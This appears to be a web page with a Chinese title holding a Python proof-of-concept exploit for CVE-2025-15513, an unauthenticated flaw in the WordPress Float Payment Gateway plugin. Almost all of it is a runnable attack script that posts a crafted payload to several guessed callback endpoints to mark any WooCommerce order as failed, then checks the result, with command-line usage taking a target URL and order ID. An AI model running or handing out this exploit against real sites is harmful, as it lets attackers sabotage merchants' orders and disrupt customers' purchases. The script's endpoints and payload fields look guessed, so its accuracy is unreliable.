CVE-2025-15513 WordPress Float Payment Gateway插件未授权订单状态篡改漏洞

# CVE-2025-15513 PoC - WordPress Float Payment Gateway Unauthenticated Order Status Manipulation # This PoC demonstrates how an unauthenticated attacker can mark any WooCommerce order as failed import requests import sys def exploit_float_gateway(target_url, order_id): """ Exploit for CVE-2025-15513: Float Payment Gateway plugin for WordPress Unauthenticated order status manipulation via improper error handling in verifyFloatResponse() Parameters: target_url: Base URL of the WordPress site order_id: Target WooCommerce order ID to mark as failed """ # Target the payment gateway callback endpoint # The vulnerable function verifyFloatResponse() is called via this endpoint endpoints = [ f"{target_url}/?wc-api=wc_float_gateway", f"{target_url}/wc-api/wc_float_gateway/", f"{target_url}/wp-json/wc-float-gateway/v1/verify" ] # Malicious payload to trigger improper error handling # This causes the function to mark the order as failed without proper validation malicious_payload = { 'order_id': order_id, 'status': 'failed', 'transaction_id': 'MALICIOUS_' + str(order_id), 'error_code': 'verification_failed', 'float_response': 'error' } print(f"[*] Target: {target_url}") print(f"[*] Target Order ID: {order_id}") print(f"[*] CVE-2025-15513 Exploitation Attempt") print("-" * 50) for endpoint in endpoints: try: print(f"\n[*] Trying endpoint: {endpoint}") # Send the malicious request response = requests.post(endpoint, data=malicious_payload, timeout=10) # Check if the order status was modified if response.status_code == 200: print(f"[+] Request sent to {endpoint}") print(f"[+] Response Status Code: {response.status_code}") # Verify the order status change verify_url = f"{target_url}/wp-json/wc/v3/orders/{order_id}" verify_resp = requests.get(verify_url) if 'failed' in verify_resp.text.lower(): print(f"[!] VULNERABLE: Order {order_id} has been marked as failed!") return True else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {str(e)}") continue print("\n[*] Exploitation completed. Check WooCommerce order status manually.") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-15513.py <target_url> <order_id>") print("Example: python cve-2025-15513.py https://example.com 12345") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] exploit_float_gateway(target, order_id)